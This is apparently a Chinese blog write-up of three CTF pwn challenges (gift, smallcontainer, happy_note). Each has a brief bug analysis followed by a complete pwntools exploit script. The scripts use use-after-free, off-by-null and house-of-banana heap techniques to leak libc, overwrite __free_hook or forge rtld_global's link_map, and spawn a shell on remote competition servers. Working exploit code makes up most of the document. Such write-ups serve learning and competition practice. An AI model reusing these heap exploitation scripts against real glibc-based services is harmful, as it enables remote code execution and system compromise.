# Pwn

# gift

程序保护全开

程序功能:

  • add:最多只能申请十次堆块,每次申请大小为 0x60 或 0x100,往里写内容的时候是往 user_data +0x10 处写。

  • delete:有 UAF

  • show:可泄露

  • bargain:可以用来控制 fd。并且类型为 int,比较类型也是有符号比较,所以可以减 0x10 范围内的数字,或者加 int(4 字节内)的数字。

因为这道题 idx 太少了,直接 free 掉 7 个 chunk 填满 tcache_list 不可行,所以我是通过 bargain 函数修改 fd 指针到一个 fake_chunk ,这个 fake_chunk 大小属于 unsortedbin 范围,且可通过 add 一次 0x60 大小堆块修改到下一个已被 free 的 0x100 大小 tcache 去改掉它的 next 指针。

这样的话不仅可以泄露 unsorted bin 的 fd,还可以顺带改掉下一个已经被 free 掉的 tcache 的 fd,实现 tcache_dup

ps: 这里也有个洞不过尝试了一下不好利用,在 add 里面 mode 选择 3,会跳过 malloc 直接 read:

[5MX`)__4R4ZAT[~}C)K)KM

问题出在,远程 libc 不确定,我最先尝试的是 glibc 2.31 9.9free_hook 五个 ogg 都失败 (one_gadget -l2 可以查看更多 ogg)。因为 idx 原因也打不了 malloc_hook ,我打 exit_hook 成功了。

尝试远程之后寄。

后来尝试了 2.29 和 2.27,在 2.27 成功。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/巅峰极客/gift/pwn')
libc = ELF('/mnt/hgfs/ubuntu/巅峰极客/gift/libc.so.6')
r = remote('101.200.85.91',44388)

def menu(choice):
r.recvuntil(b"your choice:")
r.sendline(str(choice))

def add(what,content):
menu(2)
r.recvuntil(b"your choice:")
r.sendline(str(what))
r.recvuntil(b"plz write your wish on your gift!")
r.send(content)

def delete(idx):
menu(3)
r.recvuntil(b"index?")
r.sendline(str(idx))

def show(idx):
menu(4)
r.recvuntil(b"index?")
r.sendline(str(idx))

def bargain(idx,offset):
menu(5)
r.recvuntil(b"index?")
r.sendline(str(idx))
r.recvuntil(b"How much?")
r.sendline(str(offset))



add(1,b'a'*0xc0+p64(0)+p64(0x451))#0
add(1,b'a'*8)#1
add(1,b'a'*8)#2
add(1,b'a'*8)#3
add(1,b'a'*0xd0+p64(0)+p64(0x21))#4



delete(0)

delete(2)
bargain(2,-0xe0)
add(1,b'a'*8)#5
add(1,b'a'*8)#6
delete(6)


show(6)
r.recvuntil(b'cost: ')
#-0x1ecba0
libc_base = int(r.recvuntil(b'\n')[:-1],10)-0x3ebca0
free_hook = libc_base+libc.symbols["__free_hook"]
# exit_hook = libc_base+0x218f68
# # system_addr = libc_base+0xe3cf6
one_gadget = libc_base+0x4f302
delete(3)
delete(1)
add(2,p64(free_hook-0x10)*8)#7
add(1,b'/bin/sh\x00')#8
add(1,p64(one_gadget))#9


# gdb.attach(r)
# menu(1)
delete(3)
# delete(3)
# show(6)
# r.recvuntil(b'cost: ')
# heap_addr =int(r.recvuntil(b'\n')[:-1],10)



# log.success("heap_addr: "+hex(heap_addr))
log.success("libc_base: "+hex(libc_base))
# gdb.attach(r)
r.interactive()

# smallcontainer

2.27 的 off by null,感觉没什么好说的。

洞出在这里:

edit 后会触发 check 函数:如果堆块内容连续 (不带 \x00),遇到堆块内容中含有 \x11 的字节就会转变为 0。

2I)P]6F9@G}QZ)82D((EJLI

最开始打算用 0x111 大小的堆块去 off by null,后面发现填不满 tcache_list,猪鼻了,然后改成 0x211 大小的,直接打就行。这道题也不用怎么解释了,夹心饼攻击就行。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# r = process('/mnt/hgfs/ubuntu/巅峰极客/container/smallcontainer')
r = remote('101.200.85.91',23533)
libc = ELF('/mnt/hgfs/ubuntu/巅峰极客/container/libc-2.27.so')

def menu(choice):
r.recvuntil(b"> ")
r.sendline(str(choice))

def add(size):
menu(1)
r.recvuntil(b"Input size: ")
r.sendline(str(size))

def delete(idx):
menu(2)
r.recvuntil(b"Input index: ")
r.sendline(str(idx))

def edit(idx,content):
menu(3)
r.recvuntil(b"Input index: ")
r.sendline(str(idx))
r.sendline(content)

def show(idx):
menu(4)
r.recvuntil(b"Input index: ")
r.sendline(str(idx))

add(0x1f8)#0
add(0x110)#1
add(0x110)#2
[add(0x1f8) for i in range(8)]#3-10

[delete(j)for j in range(3,10)]
delete(0)
add(0x208)#0
add(0x208)#3
add(0x218)#4
edit(10,b'a'*0x1f8)
edit(10,b'a'*0x1f0+p64(0x1440))
edit(0,b'a'*0x1f0+p64(0)+p64(0x221))
delete(0)
[add(0x1f8) for k in range(7)]#5-9,11,12
delete(2)
add(0x1f8)#2
show(1)
libc_base = int(r.recv(12),16)-0x3ebca0
free_hook = libc_base+libc.symbols["__free_hook"]
add(0x1f8)#12
edit(12,b'a'*0x110+p64(0)+p64(0x121)+p64(free_hook))
add(0x110)#13
add(0x110)#14
one_gadget = libc_base+0x4f302
edit(14,p64(one_gadget))

log.success("libc_base: "+hex(libc_base))
# gdb.attach(r)
delete(2)
r.interactive()

# happy_note

唯一一道稍微有意思的题。

Glibc 2.34 3.2,house of kiwi 刚好在这个版本失效,只有一次 UAF 而且 size 限制 <=0x200,所以打 mp_,hosue of emma 全不行。

一次 UAF 不是什么问题,可以分解成很多个 UAF, 但是限制了只有两次 add 机会,这就相当于限制死了我们只有一次 UAF 了。一次 UAF 是改不了 guard 的。

因此剩余的办法就只有两种:一种 house of banana,一种 house of apple2,house of apple3。

我选择的是 house of banana。

先泄露 heap,libc 基址和实现任意写:

我的方法是先用 0x200 大小的堆块填充满 tcache_list ,然后 UAF free 掉一个堆块,将这个堆块分割成两个小的堆块(0x10 和 0x1e0),只有这样才能实现任意写,不然原大小 (0x200) 的 tcache_list 是满的,也无法通过 malloc 来清空 tcache_list

然后 free 掉 0x10 大小的堆块,泄露高版本保护指针的 key,然后 free 两个大小 0x1e0 大小的堆块,通过 UAF 改掉其中一个的 fd,实现任意写。(高版本对 tcache count 有检测,不能 free 一个改掉 fd 就申请两次实现任意写)。

拿到任意写之后,我的方法是传统 house of banana ,打 rtld_global 的第一个变量 ns_load ,然后伪造。没开沙盒可以直接 getshell。

不过这道题直接打 libc 里的原有的 banana 结构体应该更好更简洁。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from secrets import choice
from pwn import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/巅峰极客/happy_note/happy_note')
r = remote('123.56.236.86',13397)
libc = ELF('/mnt/hgfs/ubuntu/巅峰极客/happy_note/libc.so.6')


def menu(choice):
r.recvuntil(b">> ")
r.sendline(str(choice))

def add(idx,size,choice):
menu(1)
r.recvuntil(b"Note size:")
r.sendline(str(size))
r.recvuntil(b"Choose a note:")
r.sendline(str(idx))
r.recvuntil(b"Choose a mode: [1] or [2]")
r.sendline(str(choice))

def delete(idx):
menu(2)
r.recvuntil(b"Choose a note:")
r.sendline(str(idx))

def edit(idx,content):
menu(4)
r.recvuntil(b"Choose a note:")
r.sendline(str(idx))
r.recvuntil(b"Edit your content:")
r.send(content)

def show(idx):
menu(3)
r.recvuntil(b"Which one do you want to show?")
r.sendline(str(idx))

def UAF(idx):
menu(666)
r.recvuntil(b"Choose a note:")
r.sendline(str(idx))


[add(i,0x200,1)for i in range(9)]
[delete(j) for j in range(7)]#0-6
UAF(7)
show(7)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))-0x219cc0
add(0,0x10,1)
add(1,0x1e0,1)
add(2,0x1e0,1)
add(3,0x1e0,1)
delete(0)
show(7)
r.recvuntil(b'content: ')
key = u64(r.recvuntil(b'\n')[:-1].ljust(8,b'\0'))-1
heap_base = key*0x1000
delete(2)
delete(1)

rtld_global_addr = libc_base+0x25f040
edit(7,b'a'*0x20+p64(rtld_global_addr^(key+1)))
add(4,0x1e0,2)
add(5,0x1e0,2)
edit(5,p64(heap_base+0x1130)+p64(0x4))

ret_addr = libc_base+0x0000000000028a87
one_gadget = libc_base+0xeacec


fake_link_map_addr = heap_base + 0x1130
payload= p64(fake_link_map_addr + 0x20)+p64(0x61)
payload += p64(0) + p64(libc_base + 0x2607d0) # l_next
payload += p64(0) + p64(fake_link_map_addr) # l_real
payload += p64(libc_base+libc.symbols["setcontext"]+61) # second call rdx = the address of last call
payload += p64(ret_addr) # first call (fake_link_map_addr + 0x38)
payload += p64(one_gadget)

flag_addr = fake_link_map_addr + 0xe8

payload += p64(fake_link_map_addr + 0x40) # rsp
payload += p64(ret_addr) # rip
payload += b'./flag\x00\x00' # fake_link_map_addr + 0xe8

payload = payload.ljust(0x110, b'\x00')

payload += p64(fake_link_map_addr + 0x110) + p64(0x10) # l->l_info[26] & d_ptr = 0x10
payload += p64(fake_link_map_addr + 0x120) + p64(0x10) # l->l_info[28] & i = 0x10/8 = 2 => array[1] = l->l_addr + d_ptr + 8 => array[0] = l->l_addr + d_ptr


edit(4,payload)
edit(8,b'\x00'*0x128+p64(0x800000000))

log.success("heap_base: "+hex(heap_base))
log.success("libc_base: "+hex(libc_base))
# gdb.attach(r)
delete(0xb)
r.interactive()
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

Loτυs 微信支付

微信支付

Loτυs 支付宝

支付宝